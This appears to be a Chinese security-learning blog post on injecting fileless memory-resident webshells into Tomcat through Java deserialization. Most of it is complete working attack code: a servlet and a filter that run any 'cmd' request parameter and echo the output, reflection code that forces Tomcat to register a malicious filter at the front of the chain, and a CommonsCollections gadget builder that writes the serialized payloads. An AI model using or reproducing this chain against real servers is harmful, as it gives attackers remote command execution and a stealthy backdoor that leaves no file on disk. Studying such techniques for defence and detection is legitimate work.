Tomcat内存马学习4:结合反序列化注入
0x00 前言
之前我们都是通过jsp来动态注册内存马,虽然说没有对应的filter或者servlet的class文件,但是在Web 服务器中的 jsp 编译器会编译生成对应的 java 文件然后进行编译加载并实例化,所以实际上还是会落地的,如下图:
这里借用木头师傅的一张图
所以本文的目的是通过反序列化来实现真正意义上的无文件落地内存马注入
0x01 问题分析
遇到的问题
之前利用jsp进行组件的动态注册时,request 和 response 是 jsp 的内置对象,所以可以通过ServletContext servletContext = request.getSession().getServletContext();
来获取servletContext对象
但是呢,对于反序列化命令执行来说,payload中无法获取到这个request 对象,从而无法获得standcontext来进行动态注册
所以需要解决的第一个问题是如何获取request 和 response 对象问题
解决问题
思路大概就是寻找一个静态的可以存储 request 和 response对象 的变量,我们直接从这个变量中获得request 和 response对象
这个变量选择的是ApplicationFilterChain类中的lastServicedRequest和lastServicedResponse
这两个变量中存储了request和response对象
那么如何触发这个set方法呢,我们可以看到他是在ApplicationFilterChain#internalDoFilter方法中,这个方法之前在讲filter内存马时候说过,filterchain会调用internalDoFilter来触发每一个filter的dofilter方法,所以说只要发起web请求就会执行到这个internalDoFilter方法
那么怎么能到102行并满足if条件呢,通过我调试发现当每个filter执行完dofilter方法后会使得pos等于了n,从而进入else
那么我们只要解决ApplicationDispatcher.WRAP_SAME_OBJECT为true就好
这个ApplicationDispatcher.WRAP_SAME_OBJECT默认为false,这里可以通过反射来修改
所有问题解决
当我们第一次访问echo servlet时会
- 修改WRAP_SAME_OBJECT为true
- 给lastServicedRequest初始化一下
- 给lastServicedResponse初始化一下
当我们第二次访问echo servlet时会
- 执行每一个filter.dofilter
- 进入else,进入if判断
- lastServicedRequest存储request对象
- lastServicedResponse存储response对象
- 进入sevlet开始处理请求
- 获取request对象
- 获取cmd参数
- 执行命令
- 获取response对象
- 利用response对象回显
以下是利用代码,包括
利用代码:
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;
@WebServlet("/echo")
@SuppressWarnings("all")
public class Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
// 利用反射修改 final 变量使其可以被修改 ,不这么设置无法修改 final 变量
Field f0 = Class.forName("java.lang.reflect.Field").getDeclaredField("modifiers");
f0.setAccessible(true);
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);
//开始修改对应参数,若是第一次访问则进入if,若是第二次访问则进入else if
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);
String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter("cmd"):null;
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
} else if (cmd!=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
StringBuilder sb = new StringBuilder("");
byte[] bytes = new byte[1024];
int line = 0;
while ((line = inputStream.read(bytes))!=-1){
sb.append(new String(bytes,0,line));
}
Writer writer = lastServicedResponse.get().getWriter();
writer.write(sb.toString());
writer.flush();
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}
本地测试:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Loe6w2Tr-1659245776590)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220731124037694.png)]
第一次访问
第二次访问
https://www.yuque.com/tianxiadamutou/zcfd4v/tzcdeb#dbec0ae9
0x02 反序列化注入环境搭建
在 pom.xml 文件中添加相应依赖
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
0x03 反序列化注入内存马
一共分为两步
- 第一步目的是将 request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中
- 第二步从 lastServicedRequest 和 lastServicedResponse 获取到我们的 request 和 response ,然后利用 request 获取到 servletcontext 然后动态注册 Filter
所以payload也是分为两次来发送
第一步的payload主要作用就是能够使request 和 response 存入到 lastServicedRequest 和 lastServicedResponse 中
package memshell_deserialization;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/**
* @author threedr3am
*/
public class Step1 extends AbstractTranslet {
static {
try {
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
第二步的payload呢就是动态注册filter
package memshell_deserialization;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
/**
* @author threedr3am
*/
public class TomcatInject extends AbstractTranslet implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "KpLi0rn";
static {
try {
ServletContext servletContext = getServletContext(); //通过步骤一来获取request对象
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null){
// Tomcat 只允许在初始化过程中调用addFilter方法,所以当初始化结束的时候再调用该方法就会抛出异常,所以我们需要反射事先进行修改,这样才能进入 else 进行添加
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
Filter myFilter =new TomcatInject();
// 调用 addFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);
// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});
// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
// 在设置之后我们需要 调用 filterstart 来启动我们的 filter
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);
/**
* 将我们的 filtermap 插入到最前面
*/
//这里可能是考虑到不同的jdk版本获取FilterMap类的方式不同
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
//这里也可以调用 addFilterMapBefore 方法来移到最前面
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取
//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();
//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
对这两个恶意类生成class文件,读取其字节码(即class文件内容)到TemplatesImpl的_bytecodes变量,利用cc11来触发TemplatesImpl#newtransform方法从而加载恶意字节码,执行其中的静态代码段代码
- 第一个类静态代码段负责能够获取request对象
- 第二个类静态代码段负责动态注册filter
利用cc11进行注入:
package memshell_deserialization;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
@SuppressWarnings("all")
public class CC11Template {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes();
byte[][] targetByteCodes = new byte[][]{bytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);
// 利用反射调用 templates 中的 newTransformer 方法
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 我们要设置 HashSet 的 map 为我们的 HashMap
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);
// 在 invoke 之后,
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step1.ser"));
//ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11Step2.ser"));
outputStream.writeObject(hashset);
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
public static byte[] getBytes() throws IOException {
// 第一次
InputStream inputStream = new FileInputStream(new File("./Step1.class"));
// 第二次
//InputStream inputStream = new FileInputStream(new File("./TomcatInject.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
第一个payload发送
首先进行第一次的payload生成
class文件在这里
将这里注释掉
执行后生成第一次的cc11 payload
发送
第二个payload发送
生成payload
这次payload是动态注册filter了
注释掉第一次
执行后生成cc11Step2.ser
发送
此时恶意filter已经被注册进去了,命令执行成功
这次达到了真正意义上的无文件webshell
PS:在payload生成阶段,tomcat报了找不到catalina包,这个是在我software/tomcat/lib中的,需要手动导入
0x04 总结
首先感谢木头师傅,三梦师傅以及kingkk师傅的指导,让我学到了很多很多
- 本文首先需要搞清楚为何需要反序列化注入内存马
为了首先真正意义无文件落地
- 其次要搞清楚为何要获取request对象以及如何获得
为了能够在动态注册filter时获取servletrequest。ApplicationDispatcher.WRAP_SAME_OBJECT被反射设为true后,在ApplicationFilterChain#internalDoFilter阶段会将request保存进lastServicedRequest,所以可以利用lastServicedRequest.get获取request对象
- 剩下就是利用反序列化执行动态注册代码
分两次发送,第一个payload作用是为了能将request保存进lastServicedRequest,第二个payload作用是动态注册filter内存马
PS:本文提到的办法无法在shiro中适用,后面再说
0x05 参考文章
https://www.yuque.com/tianxiadamutou/zcfd4v/tzcdeb
https://xz.aliyun.com/t/7388
https://xz.aliyun.com/t/7348